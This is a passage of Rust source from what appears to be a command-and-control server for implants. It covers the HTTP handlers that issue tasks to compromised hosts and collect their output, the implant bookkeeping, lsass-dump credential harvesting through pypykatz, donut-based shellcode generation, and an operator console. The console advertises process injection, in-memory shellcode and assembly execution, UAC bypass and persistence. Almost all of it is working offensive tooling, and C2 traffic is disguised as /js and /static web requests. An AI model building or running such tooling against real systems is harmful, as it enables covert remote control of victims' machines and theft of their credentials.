117 | new.user_agent = user_agent.unwrap().to_str().unwrap().to_string();
118 | }
119 | let mut links = data.links.lock().unwrap();
120 | links.push(new);
121 | let mut count = data.count.lock().unwrap();
122 | *count += 1;
123 | // print new link to stdout
124 | let cli_stdout = data.stdout.lock().unwrap();
125 | let mut cli_handle = cli_stdout.lock();
126 | let link_name = format!(
127 | "{} ({}\\{}@{})",
128 | links.last().unwrap().name.clone(),
129 | query.link_hostname.clone(),
130 | query.link_username.clone(),
131 | query.internal_ip.clone(),
132 | );
133 | tasks::write_link_to_stdout(&mut cli_handle, link_name);
134 | let task = Task {
135 | tasking: String::from(""),
136 | q: String::from(""),
137 | x_request_id: new_x_request_id,
138 | };
139 | HttpResponse::Ok().json(task)
140 | }
141 |
142 | // SECURITY
143 | // after link working with server, all data should be encrypted and encoded in transit
144 | // CBC ciphers will suffice
145 | // prefereably private/public key
146 | pub async fn link_poll(
147 | callback: web::Json,
148 | http_req: web::HttpRequest,
149 | data: web::Data,
150 | ) -> impl Responder {
151 | // check if X-Request-ID exists
152 | let x_request_id = http_req.headers().get("x-request-id");
153 | if x_request_id.is_none() {
154 | return HttpResponse::Ok().body("x-req is none\n");
155 | }
156 | let x_request_id_str: String;
157 | if x_request_id.unwrap().to_str().is_ok() {
158 | x_request_id_str = x_request_id.unwrap().to_str().unwrap().to_string();
159 | } else {
160 | return HttpResponse::Ok().body("x req is err\n");
161 | };
162 |
163 | // check q parameter in query
164 | let returned_data = callback.q.clone();
165 | let returned_task_id = callback.tasking.clone();
166 | let mut links = match data.links.lock() {
167 | Err(_) => return HttpResponse::Ok().body(""),
168 | Ok(links) => links,
169 | };
170 | if links.len() == 0 {
171 | return HttpResponse::Ok().body("");
172 | }
173 | let mut link_index: usize = 0;
174 |
175 | // search for link
176 | for i in 0..links.len() {
177 | if links[i as usize].x_request_id.to_string() == x_request_id_str {
178 | // link index found
179 | link_index = i;
180 | break;
181 | }
182 | }
183 |
184 | // update internal status
185 | if links[link_index].status != links::LinkStatus::Active {
186 | links[link_index].status = links::LinkStatus::Active;
187 | }
188 |
189 | // update check in time
190 | links[link_index].update_last_checkin();
191 |
192 | // tasks
193 | let tasks_in_queue = links[link_index].tasks.tasks.len();
194 | for i in 0..tasks_in_queue {
195 | // if task id assign its index with one
196 | // provide link with command to execute FIFO
197 | if returned_task_id.is_empty() {
198 | // find first task in queue waiting to be executed
199 | if links[link_index].tasks.tasks[i as usize].status == TaskStatus::Waiting {
200 | // add new x-request-id
201 | let new_x_request_id = links[link_index].set_x_request_id();
202 | // update task and send command to link
203 | let task_id = links[link_index].tasks.tasks[i as usize].id.to_string();
204 | let command = links[link_index].tasks.tasks[i as usize].command.clone();
205 | links[link_index].update_task_status(TaskStatus::InProgress, task_id.clone());
206 | let task = Task {
207 | tasking: task_id,
208 | q: command,
209 | x_request_id: new_x_request_id,
210 | };
211 | return HttpResponse::Ok().json(task);
212 | }
213 | // data returned from task on link
214 | } else if links[link_index].tasks.tasks[i as usize].id.to_string() == returned_task_id {
215 | links[link_index].tasks.tasks[i as usize].output = returned_data.clone();
216 | // print task output to stdout
217 | let cli_stdout = data.stdout.lock().unwrap();
218 | let mut cli_handle = cli_stdout.lock();
219 | let link_name = format!(
220 | "{} ({}\\{}@{})",
221 | links[link_index].name,
222 | links[link_index].link_hostname,
223 | links[link_index].link_username,
224 | links[link_index].internal_ip,
225 | );
226 | tasks::write_task_to_stdout(
227 | &mut cli_handle,
228 | link_name,
229 | links[link_index].tasks.tasks[i as usize].id.to_string(),
230 | links[link_index].tasks.tasks[i as usize]
231 | .cli_command
232 | .clone(),
233 | &returned_data,
234 | );
235 | links[link_index].update_task_status(TaskStatus::Completed, returned_task_id);
236 | // add new x-request-id
237 | let new_x_request_id = links[link_index].set_x_request_id();
238 | let task = Task {
239 | tasking: String::new(),
240 | q: String::new(),
241 | x_request_id: new_x_request_id,
242 | };
243 | return HttpResponse::Ok().json(task);
244 | }
245 | }
246 |
247 | // if no command
248 | let new_x_request_id = links[link_index].set_x_request_id();
249 | let task = Task {
250 | tasking: String::new(),
251 | q: String::new(),
252 | x_request_id: new_x_request_id,
253 | };
254 | return HttpResponse::Ok().json(task);
255 | }
256 |
--------------------------------------------------------------------------------
/src/server/links.rs:
--------------------------------------------------------------------------------
1 | // this will hold links in memory
2 | // log and save to database in the future
3 | extern crate chrono;
4 | extern crate uuid;
5 | use chrono::prelude::*;
6 | use std::sync::Mutex;
7 |
8 | // internal packages
9 | use crate::server;
10 | use server::{tasks, tasks::TaskStatus};
11 |
12 | #[derive(Debug)]
13 | pub struct Links {
14 | pub links: Mutex>,
15 | pub count: Mutex,
16 | pub stdout: Mutex,
17 | }
18 |
19 | #[derive(Debug)]
20 | pub struct Link {
21 | pub status: LinkStatus,
22 | pub name: String,
23 | pub x_request_id: uuid::Uuid,
24 | pub link_type: LinkType,
25 | pub platform: String,
26 | pub architecture: String,
27 | pub link_username: String,
28 | pub link_hostname: String,
29 | pub internal_ip: String,
30 | pub external_ip: String,
31 | pub delay: u32,
32 | pub jitter: u32,
33 | pub pid: u32,
34 | pub process_name: String,
35 | pub first_checkin: DateTime,
36 | pub last_checkin: DateTime,
37 | pub protocol: String,
38 | pub user_agent: String,
39 | pub tasks: tasks::Tasks,
40 | }
41 |
42 | impl Default for Link {
43 | fn default() -> Self {
44 | Self::new()
45 | }
46 | }
47 |
48 | impl Link {
49 | pub fn new() -> Link {
50 | let init_uuid = uuid::Uuid::new_v4();
51 | let link_name: String = uuid::Uuid::new_v4()
52 | .to_string()
53 | .split('-')
54 | .map(str::to_string)
55 | .collect();
56 | Link {
57 | status: LinkStatus::Initializing,
58 | name: link_name,
59 | x_request_id: init_uuid,
60 | // this implementation will need to change once KM link is working
61 | link_type: LinkType::Ring3,
62 | platform: "".to_string(),
63 | architecture: "x86_64".to_string(),
64 | link_username: "".to_string(),
65 | link_hostname: "".to_string(),
66 | internal_ip: "".to_string(),
67 | external_ip: "".to_string(),
68 | delay: 0,
69 | jitter: 0,
70 | pid: 0,
71 | process_name: "".to_string(),
72 | first_checkin: Local::now(),
73 | last_checkin: Local::now(),
74 | protocol: "HTTP2".to_string(),
75 | user_agent: "".to_string(),
76 | tasks: tasks::Tasks::default(),
77 | }
78 | }
79 |
80 | pub fn update_last_checkin(&mut self) {
81 | self.last_checkin = Local::now();
82 | }
83 |
84 | pub fn check_status(&mut self) {
85 | let now = Local::now().timestamp();
86 | let most_recent = self.last_checkin.timestamp();
87 | let diff = now - most_recent;
88 | if diff > 90 {
89 | self.status = LinkStatus::Inactive;
90 | }
91 | }
92 |
93 | pub fn set_name(&mut self, name: String) {
94 | self.name = name;
95 | }
96 |
97 | pub fn set_x_request_id(&mut self) -> String {
98 | let new_uuid = uuid::Uuid::new_v4();
99 | self.x_request_id = new_uuid;
100 | new_uuid.to_string()
101 | }
102 |
103 | pub fn set_command(&mut self, command_to_execute: String, raw_command: String) {
104 | let task = tasks::Task {
105 | id: uuid::Uuid::new_v4(),
106 | command: command_to_execute,
107 | cli_command: raw_command,
108 | status: TaskStatus::Waiting,
109 | output: "".to_string(),
110 | };
111 | self.tasks.tasks.push(task);
112 | }
113 |
114 | pub fn update_task_status(&mut self, status: TaskStatus, id: String) {
115 | // find task id
116 | let task_count = self.tasks.tasks.len();
117 | let task_index: usize;
118 | for i in 0..task_count {
119 | if self.tasks.tasks[i as usize].id.to_string() == id {
120 | task_index = i;
121 | // if task is to kill link, set link status to inactive
122 | if self.tasks.tasks[task_index].command.as_str() == "exit" {
123 | match status {
124 | TaskStatus::Waiting => {
125 | self.tasks.tasks[task_index].status = TaskStatus::Waiting
126 | }
127 | TaskStatus::InProgress => {
128 | self.tasks.tasks[task_index].status = TaskStatus::Completed;
129 | self.status = LinkStatus::Exited;
130 | self.remove_task(task_index);
131 | // TODO
132 | // send link kill to stdout
133 | break;
134 | }
135 | // TODO
136 | // log output file
137 | // remote task from memory
138 | TaskStatus::Completed => self.remove_task(task_index),
139 | }
140 | }
141 | // match and update
142 | match status {
143 | TaskStatus::Waiting => {
144 | self.tasks.tasks[task_index].status = TaskStatus::Waiting
145 | }
146 | TaskStatus::InProgress => {
147 | self.tasks.tasks[task_index].status = TaskStatus::InProgress
148 | }
149 | // TODO
150 | // log output file
151 | // remote task from memory
152 | TaskStatus::Completed => self.remove_task(task_index),
153 | }
154 | break;
155 | }
156 | }
157 | }
158 |
159 | // Add logging functionality to file
160 | pub fn remove_task(&mut self, task_id: usize) {
161 | self.tasks.tasks.remove(task_id);
162 | }
163 | }
164 |
165 | #[derive(Debug, PartialEq)]
166 | pub enum LinkStatus {
167 | Initializing,
168 | Staging,
169 | Active,
170 | Inactive,
171 | Exited,
172 | }
173 |
174 | #[derive(Debug, PartialEq)]
175 | pub enum IntegrityLevel {
176 | Low,
177 | Medium,
178 | High,
179 | System,
180 | }
181 |
182 | #[derive(Debug, PartialEq)]
183 | pub enum LinkType {
184 | Ring3,
185 | Ring0,
186 | }
187 |
--------------------------------------------------------------------------------
/src/server/mod.rs:
--------------------------------------------------------------------------------
1 | pub mod links;
2 | pub mod spawn;
3 | pub mod tasks;
4 |
--------------------------------------------------------------------------------
/src/server/spawn.rs:
--------------------------------------------------------------------------------
1 | use actix_web::{dev::Server, web, App, HttpServer};
2 | use std::{
3 | path::Path,
4 | process::exit,
5 | sync::{mpsc, Mutex},
6 | thread,
7 | };
8 |
9 | // internal packages
10 | use crate::routes;
11 | use crate::server;
12 | use crate::util;
13 | use server::links::Links;
14 | use util::cli::cli_line;
15 |
16 | pub async fn spawn_server(
17 | tx: &mpsc::Sender,
18 | rx_command: &mpsc::Receiver,
19 | bind_addr: String,
20 | ) -> web::Data {
21 | //std::env::set_var("RUST_LOG", "link");
22 | //env_logger::init();
23 | let tx = tx.to_owned();
24 | let rx_command = rx_command.to_owned();
25 | let links_init = web::Data::new(Links {
26 | links: Mutex::new(Vec::new()),
27 | count: Mutex::new(0),
28 | stdout: Mutex::new(rx_command.recv().unwrap()),
29 | });
30 | let links = links_init.clone();
31 | // check certificate path
32 | let (key_path, cert_path) = if Path::new("cert").exists() {
33 | check_certs("cert".to_string())
34 | } else {
35 | let arg = cli_line("Please provide full path to folder with certificates (contains key.pem and cert.pem): ");
36 | if Path::new(&arg[0]).exists() {
37 | check_certs(arg[0].clone())
38 | } else {
39 | exit(1);
40 | }
41 | };
42 |
43 | thread::spawn(move || {
44 | // load links
45 | // load ssl
46 | // openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj '/CN=localhost'
47 | let mut builder =
48 | openssl::ssl::SslAcceptor::mozilla_intermediate(openssl::ssl::SslMethod::tls())
49 | .unwrap();
50 | builder
51 | .set_private_key_file(&key_path, openssl::ssl::SslFiletype::PEM)
52 | .unwrap();
53 | builder.set_certificate_chain_file(&cert_path).unwrap();
54 | // web server
55 | let sys = actix_web::rt::System::new("protocol-web-server");
56 | let pre_srv = HttpServer::new(move || {
57 | App::new()
58 | // logging
59 | //.wrap(actix_web::middleware::Logger::default())
60 | // links
61 | .app_data(links.clone())
62 | // payload delivery that is linked with xeca
63 | //.service(web::scope("/css").configure(payload_delivery))
64 | // first round of proving the link
65 | .service(web::scope("/js").configure(routes::urls::stage_one_pass))
66 | // provides access to link functions
67 | .service(web::scope("/static").configure(routes::urls::pass_link_config))
68 | // non link traffic
69 | .service(routes::urls::index)
70 | })
71 | .shutdown_timeout(1)
72 | .bind_openssl(bind_addr.as_str(), builder);
73 | if pre_srv.is_err() {
74 | println!(
75 | "Could not bind to {}: {}",
76 | bind_addr,
77 | pre_srv.err().unwrap()
78 | );
79 | std::process::exit(1);
80 | }
81 | let srv = pre_srv?.run();
82 |
83 | let _ = tx.send(srv);
84 | sys.run()
85 | });
86 | links_init
87 | }
88 |
89 | fn check_certs(cert_dir: String) -> (String, String) {
90 | // check for key.pem and cert.pem
91 | let key_path = format!("{}/key.pem", &cert_dir);
92 | let cert_path = format!("{}/cert.pem", &cert_dir);
93 | if !Path::new(&key_path).exists() || !Path::new(&cert_path).exists() {
94 | println!("Certificate directory \"{}\" does not contain key.pem or cert.pem", &cert_dir);
95 | exit(1);
96 | }
97 | (key_path, cert_path)
98 | }
99 |
--------------------------------------------------------------------------------
/src/server/tasks.rs:
--------------------------------------------------------------------------------
1 | use std::io::{StdoutLock, Write};
2 | use std::fs;
3 |
4 | #[derive(Debug, Default)]
5 | pub struct Tasks {
6 | pub tasks: Vec,
7 | }
8 |
9 | #[derive(Debug)]
10 | pub struct Task {
11 | pub id: uuid::Uuid,
12 | pub command: String,
13 | pub cli_command: String,
14 | pub status: TaskStatus,
15 | pub output: String,
16 | }
17 |
18 | #[derive(Debug, PartialEq)]
19 | pub enum TaskStatus {
20 | Waiting,
21 | InProgress,
22 | Completed,
23 | }
24 |
25 | // command help struct
26 | pub struct Command {
27 | pub name: String,
28 | pub help: String,
29 | }
30 |
31 | // print new link to stdout
32 | pub fn write_link_to_stdout(cli_handle: &mut StdoutLock, link_name: String) {
33 | let output = format!("\n\n🔗 New link: {} 🔗\n", link_name,);
34 | let _ = cli_handle.write_all(output.as_bytes()).unwrap();
35 | }
36 |
37 | // print returned task output to stdout
38 | pub fn write_task_to_stdout(
39 | cli_handle: &mut StdoutLock,
40 | link_name: String,
41 | task_id: String,
42 | task_command: String,
43 | returned_data: &str,
44 | ) {
45 | let output: String;
46 | // check if mimikatz was executed
47 | if task_command == "mimikatz 0".to_string() || task_command == "procdump 0".to_string() {
48 | let pypykatz_output = write_dump_exec_pypykatz(task_id.clone(), returned_data);
49 | output = format!(
50 | "\n\nLink: {}\nTask ID: {}\nCommand: {}\nOutput:\n\n{}\n",
51 | link_name, task_id, task_command, pypykatz_output,
52 | );
53 | } else {
54 | output = format!(
55 | "\n\nLink: {}\nTask ID: {}\nCommand: {}\nOutput:\n\n{}\n",
56 | link_name, task_id, task_command, returned_data,
57 | );
58 | }
59 | let _ = cli_handle.write_all(output.as_bytes()).unwrap();
60 | }
61 |
62 | pub fn write_dump_exec_pypykatz(task_id: String, returned_data: &str) -> String {
63 | let home_dir = match std::env::var("HOME") {
64 | Err(e) => {
65 | println!("{}", e);
66 | return returned_data.to_string()
67 | }
68 | Ok(home) => home,
69 | };
70 | let prev_dir_path = std::env::current_dir().unwrap();
71 | let link_dumps_path = &format!("{}/.link/dumps", home_dir);
72 | // create directory and change dir
73 | match fs::create_dir_all(link_dumps_path) {
74 | Err(e) => {
75 | println!("{}", e);
76 | return returned_data.to_string()
77 | }
78 | Ok(link_dir) => link_dir,
79 | };
80 | if std::env::set_current_dir(link_dumps_path).is_err() {
81 | println!("could not change directory");
82 | return returned_data.to_string()
83 | }
84 | // write lsass.exe MiniDump to file
85 | let dump_name = format!("{}-lsass-dump", task_id);
86 | let dump_name_b64 = format!("{}.b64", dump_name.clone());
87 | let dump_name_bin = format!("{}.bin", dump_name.clone());
88 | let mut output_file = fs::File::create(&dump_name_b64.clone()).expect("could not write file");
89 | output_file.write_all(returned_data.as_bytes()).expect("could not write contents to dump file");
90 | // base64 decode and execute pypykatz on dump file
91 | let mut output = std::process::Command::new("base64")
92 | .args(&["-di", &dump_name_b64])
93 | .output();
94 | match output {
95 | Err(_) => {
96 | // return to previous path
97 | if std::env::set_current_dir(prev_dir_path).is_err() {
98 | println!("could not change directory");
99 | }
100 | return returned_data.to_string()
101 | },
102 | Ok(dump) => {
103 | output_file = fs::File::create(&dump_name_bin.clone()).expect("could not write file");
104 | output_file.write_all(&dump.stdout).expect("could not write contents to dump file");
105 | },
106 | }
107 | // check if cargo exists if not prompt for install
108 | if std::process::Command::new("pypykatz")
109 | .stdout(std::process::Stdio::null())
110 | .stderr(std::process::Stdio::null())
111 | .spawn()
112 | .is_err()
113 | {
114 | println!("pypykatz not installed, the following command may help:");
115 | println!("pip3 install pypykatz");
116 | return returned_data.to_string()
117 | }
118 | output = std::process::Command::new("pypykatz")
119 | .args(&["lsa", "minidump", &dump_name_bin])
120 | .output();
121 | match output {
122 | Err(_) => {
123 | // return to previous path
124 | if std::env::set_current_dir(prev_dir_path).is_err() {
125 | println!("could not change directory");
126 | }
127 | return returned_data.to_string()
128 | },
129 | Ok(_) => {},
130 | }
131 | let dump = output.unwrap();
132 | // return to previous path
133 | if std::env::set_current_dir(prev_dir_path).is_err() {
134 | println!("could not change directory");
135 | return returned_data.to_string()
136 | }
137 |
138 | let pypykatz_output = std::str::from_utf8(&dump.stdout).unwrap();
139 |
140 | return pypykatz_output.to_string()
141 | }
142 |
143 |
--------------------------------------------------------------------------------
/src/util/cli.rs:
--------------------------------------------------------------------------------
1 | use actix_web::web;
2 | use rustyline::error::ReadlineError;
3 | use rustyline::Editor;
4 | use server::links::Links;
5 | use std::sync::mpsc;
6 |
7 | use prettytable::{format, Table};
8 |
9 | // internal packages
10 | use crate::server;
11 | use crate::util;
12 |
13 | // banner
14 | fn banner() {
15 | let banner = r#"
16 | .-') _ .-. .-')
17 | ( OO ) ) \ ( OO )
18 | ,--. ,-.-') ,--./ ,--,' ,--. ,--.
19 | | |.-') | |OO) | \ | |\ | .' /
20 | | | OO ) | | \ | \| | ) | /,
21 | | |`-' | | |(_/ | . |/ | ' _)
22 | (| '---.' ,| |_.' | |\ | | . \
23 | | | (_| | | | \ | | |\ \
24 | `------' `--' `--' `--' `--' '--' "#;
25 | println!("{}", banner);
26 | }
27 |
28 | // simple readline utility
29 | pub fn cli_line(prompt: &str) -> Vec {
30 | use std::io::{stdin, stdout, Write};
31 | print!("{}", prompt);
32 | let mut s = String::new();
33 | let _ = stdout().flush();
34 | stdin().read_line(&mut s).expect("Did not enter a string");
35 | if let Some('\n') = s.chars().next_back() {
36 | s.pop();
37 | }
38 | if let Some('\r') = s.chars().next_back() {
39 | s.pop();
40 | }
41 | if s.is_empty() {
42 | return vec![String::from("")];
43 | }
44 | get_string_vec(s)
45 | }
46 |
47 | fn get_string_vec(s: String) -> Vec {
48 | if s.is_empty() {
49 | return vec![String::from("")];
50 | }
51 | s.split_whitespace().map(str::to_string).collect()
52 | }
53 |
54 | fn main_help() {
55 | println!("help");
56 | println!(" generate generate link");
57 | println!(" generate-linux generate link targeting linux");
58 | println!(" generate-osx generate link targeting osx");
59 | println!(" links links menu");
60 | println!(" kill stop the web server");
61 | println!(" sharp generate link");
62 | println!(" help this help menu");
63 | println!(" exit exits link server");
64 | }
65 |
66 | pub async fn main_loop() {
67 | let (tx, rx) = mpsc::channel();
68 | let (tx_command, rx_command) = mpsc::channel();
69 |
70 | banner();
71 |
72 | // start server
73 | let mut args: Vec;
74 | args = util::cli::cli_line("Start web server (Y/n)? ");
75 | match args[0].to_lowercase().as_str() {
76 | "y" => println!("starting server"),
77 | "n" => {
78 | println!("not ready it seems?\nexiting...");
79 | std::process::exit(0);
80 | }
81 | _ => (),
82 | }
83 | // get bind address
84 | args = util::cli::cli_line("Please provide bind address (eg: 0.0.0.0:443): ");
85 | let bind_addr = if args[0].as_str() == "" {
86 | String::from("0.0.0.0:443")
87 | } else {
88 | args[0].clone()
89 | };
90 | // initiate
91 | util::sharp::create_link_dir();
92 | // spawn server
93 | let _ = tx_command.send(std::io::stdout());
94 | let links = server::spawn::spawn_server(&tx, &rx_command, bind_addr).await;
95 | let srv = rx.recv().unwrap();
96 |
97 | let mut rl = Editor::<()>::new();
98 | let _ = rl.load_history(".protocol-history.txt");
99 | loop {
100 | let readline = rl.readline("🔗 > ");
101 | match readline {
102 | Ok(line) => {
103 | rl.add_history_entry(line.as_str());
104 | args = get_string_vec(line);
105 | match args[0].as_str() {
106 | "generate" => util::generate::generate(args),
107 | "generate-linux" => util::generate::generate_linux(args),
108 | "generate-osx" => util::generate::generate_osx(args),
109 | "links" => links_loop(links.clone(), args),
110 | "kill" => srv.stop(true).await,
111 | "sharp" => util::sharp::sharpcollection_manage(args),
112 | // add are you sure y/N
113 | "help" => main_help(),
114 | "exit" => std::process::exit(0),
115 | _ => continue,
116 | }
117 | }
118 | Err(ReadlineError::Interrupted) => {
119 | println!("CTRL-C");
120 | break;
121 | }
122 | Err(ReadlineError::Eof) => {
123 | // TODO
124 | // perform check instead of killing process
125 | println!("CTRL-D");
126 | break;
127 | }
128 | Err(err) => {
129 | println!("Error: {:?}", err);
130 | break;
131 | }
132 | }
133 | }
134 | }
135 |
136 | // links cli
137 | fn links_help() {
138 | println!("links [switch] ");
139 | println!(" -h help");
140 | println!(" -a show all links");
141 | println!(" -i interact with link (eg: link -i 1)");
142 | println!(" -k kill link");
143 | }
144 |
145 | fn links_menu_help() {
146 | println!("Link commands:");
147 | println!(" mimikatz perform MiniDump on lsass and parse locally with pypykatz");
148 | println!(" procdump MiniDump a process in memory");
149 | println!(" execute-assembly execute .NET assembly in memory");
150 | println!(" execute-shellcode execute shellcode in memory and return standard output/error");
151 | println!(" execute-pe execute Windows PE in memory");
152 | println!(" powerpick execute PowerShell without powershell.exe");
153 | println!(" persist persistence modules");
154 | println!(" bypass-uac bypass UAC");
155 | println!(" link-inject inject link into process");
156 | println!(" inject process injection");
157 | println!(" sharp SharpCollection tools");
158 | println!(" sassykitdi ala sassykitdi");
159 | println!(" cmd execute command directly from process");
160 | println!(" shell execute command via cmd.exe");
161 | println!(" powershell execute command via powershell.exe");
162 | println!(" cd change directory");
163 | println!(" pwd print working directory");
164 | println!(" ls list directory");
165 | println!(" pid print PID");
166 | println!(" whoami whoami");
167 | println!(" integrity mandatory integrity control token");
168 | println!(" kill exit link");
169 | println!(" help show help");
170 | println!(" ? show help");
171 | println!(" info show info");
172 | println!(" back main menu");
173 | }
174 |
175 | fn links_menu_help_nix() {
176 | println!("Link commands:");
177 | println!(" persist persistence modules");
178 | println!(" cd change directory");
179 | println!(" pwd print working directory");
180 | println!(" ls list directory");
181 | println!(" pid print PID");
182 | println!(" whoami whoami");
183 | println!(" kill exit link");
184 | println!(" help show help");
185 | println!(" ? show help");
186 | println!(" info show info");
187 | println!(" back main menu");
188 | }
189 |
190 | fn link_info(links: web::Data, link_index: usize) {
191 | println!("{:#?}", links.links.lock().unwrap()[link_index])
192 | }
193 |
194 | fn links_loop(links: web::Data, args: Vec) {
195 | if args.len() == 1 {
196 | links_list(links, false);
197 | return;
198 | }
199 | // parse args
200 | let mut args: Vec = args;
201 | let target_link: String;
202 | if args.len() == 2 {
203 | match args[1].as_str() {
204 | "-h" => {
205 | links_help();
206 | return;
207 | }
208 | "-a" => {
209 | links_list(links, true);
210 | return;
211 | }
212 | _ => {
213 | links_help();
214 | return;
215 | }
216 | }
217 | } else if args.len() == 3 {
218 | match args[1].as_str() {
219 | "-i" => target_link = args[2].to_string(),
220 | "-k" => target_link = args[2].to_string(),
221 | _ => {
222 | links_help();
223 | return;
224 | }
225 | }
226 | } else {
227 | links_help();
228 | return;
229 | }
230 | // check if link exists
231 | let mut link_exists = false;
232 | let mut link_index: usize = 0;
233 | let link_count = *links.count.lock().unwrap() as usize;
234 | for i in 0..link_count {
235 | if links.links.lock().unwrap()[i as usize].name == target_link {
236 | link_exists = true;
237 | link_index = i;
238 | break;
239 | }
240 | }
241 | if !link_exists {
242 | println!("link does not exist");
243 | return;
244 | }
245 |
246 | let mut rl = Editor::<()>::new();
247 | let _ = rl.load_history(".protocol-history.txt");
248 | let link_prompt = format!("({}) 🔗 > ", target_link);
249 | loop {
250 | // print task output
251 | // perform asyncronously, dependent on
252 | // add link id
253 | let readline = rl.readline(link_prompt.as_str());
254 | match readline {
255 | Ok(line) => {
256 | rl.add_history_entry(line.as_str());
257 | args = get_string_vec(line);
258 | match args[0].as_str() {
259 | "execute-assembly" => {
260 | util::nonstd::execute_assembly(links.clone(), link_index, args)
261 | }
262 | "mimikatz" => util::nonstd::mimikatz(links.clone(), link_index, args),
263 | "procdump" => util::nonstd::procdump(links.clone(), link_index, args),
264 | "execute-pe" => util::nonstd::execute_pe(links.clone(), link_index, args),
265 | "execute-shellcode" => util::nonstd::execute_shellcode(links.clone(), link_index, args),
266 | "powerpick" => println!("todo"),
267 | // have pre generated DLLs for dropping
268 | // teams and other programs commonly used
269 | // junction folders, startup and registry
270 | "persist" => println!("todo"),
271 | "bypass-uac" => println!("todo"),
272 | "link-inject" => util::nonstd::link_inject(links.clone(), link_index, args),
273 | "inject" => util::nonstd::process_inject(links.clone(), link_index, args),
274 | "sharp" => util::sharp::sharp_link(links.clone(), link_index, args),
275 | "sassykitdi" => println!("Ring0 link only"),
276 | "cmd" => link_command(links.clone(), link_index, args),
277 | "shell" => link_command(links.clone(), link_index, args),
278 | "powershell" => link_command(links.clone(), link_index, args),
279 | "cd" => link_command(links.clone(), link_index, args),
280 | "pwd" => link_command(links.clone(), link_index, args),
281 | "ls" => link_command(links.clone(), link_index, args),
282 | "pid" => link_command(links.clone(), link_index, args),
283 | "whoami" => link_command(links.clone(), link_index, args),
284 | "integrity" => link_command(links.clone(), link_index, args),
285 | // do a check on this before exiting link
286 | "kill" => link_command(links.clone(), link_index, vec!["exit".to_string()]),
287 | "help" => {
288 | let platform = links.links.lock().unwrap()[link_index].platform.clone();
289 | if platform == "windows" {
290 | links_menu_help();
291 | } else {
292 | links_menu_help_nix();
293 | }
294 | }
295 | "?" => links_menu_help(),
296 | "info" => link_info(links.clone(), link_index),
297 | "back" => return,
298 | _ => continue,
299 | }
300 | }
301 | Err(ReadlineError::Interrupted) => {
302 | println!("CTRL-C");
303 | break;
304 | }
305 | Err(ReadlineError::Eof) => {
306 | println!("CTRL-D");
307 | break;
308 | }
309 | Err(err) => {
310 | println!("Error: {:?}", err);
311 | break;
312 | }
313 | }
314 | }
315 | }
316 |
317 | fn link_command(links: web::Data, link_index: usize, command: Vec) {
318 | if command.len() > 1 && command[1] == "-h" {
319 | // match command help
320 | println!("{} help", command[0]);
321 | return;
322 | }
323 | links.links.lock().unwrap()[link_index].set_command(command.join(" "), command.join(" "));
324 | }
325 |
326 | fn links_list(links: web::Data, all: bool) {
327 | let count = *links.count.lock().unwrap();
328 | if count == 0 {
329 | println!("No links.");
330 | return;
331 | } else if count == 1 {
332 | println!("\n[{} Link]\n", count);
333 | } else {
334 | println!("\n[{} Links]\n", count);
335 | }
336 |
337 | // create table
338 | let mut table = Table::new();
339 | table.set_format(*format::consts::FORMAT_NO_BORDER);
340 | table.add_row(row!["id", "type", "platform", "who", "internal ip", "last checkin", "status"]);
341 |
342 | // add links
343 | for i in 0..count {
344 | let iu = i as usize;
345 | let mut tmp = links.links.lock().unwrap();
346 | tmp[iu].check_status();
347 | if !all && tmp[iu].status != server::links::LinkStatus::Active {
348 | continue;
349 | }
350 | table.add_row(row![
351 | tmp[iu].name,
352 | Fr -> format!("{:?}", tmp[iu].link_type),
353 | tmp[iu].platform,
354 | FB -> format!("{}\\{}", tmp[iu].link_hostname, tmp[iu].link_username),
355 | tmp[iu].internal_ip,
356 | Fc -> tmp[iu].last_checkin,
357 | bFg -> format!("{:?}", tmp[iu].status),
358 | ]);
359 | }
360 | table.printstd();
361 | println!();
362 | }
363 |
--------------------------------------------------------------------------------
/src/util/donut.rs:
--------------------------------------------------------------------------------
1 | use std::{
2 | fs,
3 | io::prelude::*,
4 | os::unix::fs::OpenOptionsExt,
5 | process::Command,
6 | };
7 |
8 | // internal packages
9 | use crate::util;
10 |
11 | fn donut_create() -> bool {
12 | util::sharp::create_link_dir();
13 | let home_dir = match std::env::var("HOME") {
14 | Err(e) => {
15 | println!("{}", e);
16 | return false;
17 | }
18 | Ok(home) => home,
19 | };
20 | let link_path = format!("{}/.link", home_dir);
21 | let third_party_path = format!("{}/3rdparty", link_path);
22 | let donut_path = format!("{}/3rdparty/donut", link_path);
23 | if !fs::metadata(donut_path.as_str()).is_ok() {
24 | if !fs::metadata(third_party_path.as_str()).is_ok() {
25 | match fs::create_dir_all(third_party_path.as_str()) {
26 | Err(e) => {
27 | println!("{}", e);
28 | return false;
29 | }
30 | Ok(third) => third,
31 | }
32 | }
33 | let donut = include_bytes!("../assets/donut");
34 | let mut donut_file = fs::OpenOptions::new()
35 | .create(true)
36 | .write(true)
37 | .mode(0o755)
38 | .open(&donut_path)
39 | .expect("Error writing donut");
40 | donut_file.write_all(donut).expect("Could not write donut contents to file");
41 | }
42 | true
43 | }
44 |
45 | pub fn create_shellcode(executable_path: String, parameters: Vec) -> Option {
46 | util::sharp::create_link_dir();
47 | if !donut_create() {
48 | return None;
49 | }
50 | let home_dir = match std::env::var("HOME") {
51 | Err(e) => {
52 | println!("{}", e);
53 | return None;
54 | }
55 | Ok(home) => home,
56 | };
57 | let link_path = format!("{}/.link", home_dir);
58 | let donut_path = format!("{}/3rdparty/donut", link_path);
59 |
60 | // generate payload
61 | if parameters.len() > 0 {
62 | let params = parameters.join(",");
63 | let output = Command::new(&donut_path)
64 | .args(&["-a", "2", "-p", ¶ms, "-f", &executable_path])
65 | .output();
66 | match output {
67 | Err(_) => println!("could not generate"),
68 | Ok(_) => {},
69 | }
70 | } else {
71 | let output = std::process::Command::new(&donut_path)
72 | .args(&["-a", "2", "-f", &executable_path])
73 | .output();
74 | match output {
75 | Err(_) => println!("could not generate"),
76 | Ok(_) => {},
77 | }
78 | }
79 | let shellcode = match std::fs::read("payload.bin") {
80 | Err(e) => {
81 | println!("{}", e);
82 | return None;
83 | }
84 | Ok(shellcode) => shellcode,
85 | };
86 | let shellcode_b64 = base64::encode(shellcode);
87 | // delete shellcode on disk
88 | let _ = fs::remove_file("payload.bin");
89 |
90 | Some(shellcode_b64)
91 | }
92 |
--------------------------------------------------------------------------------
/src/util/generate.rs:
--------------------------------------------------------------------------------
1 | use std::fs;
2 | use std::io::prelude::*;
3 | use util::sharp::git_exists;
4 | use util::shellcode;
5 |
6 | // internal packages
7 | use crate::util;
8 |
9 | fn generate_help() {
10 | println!("generate ");
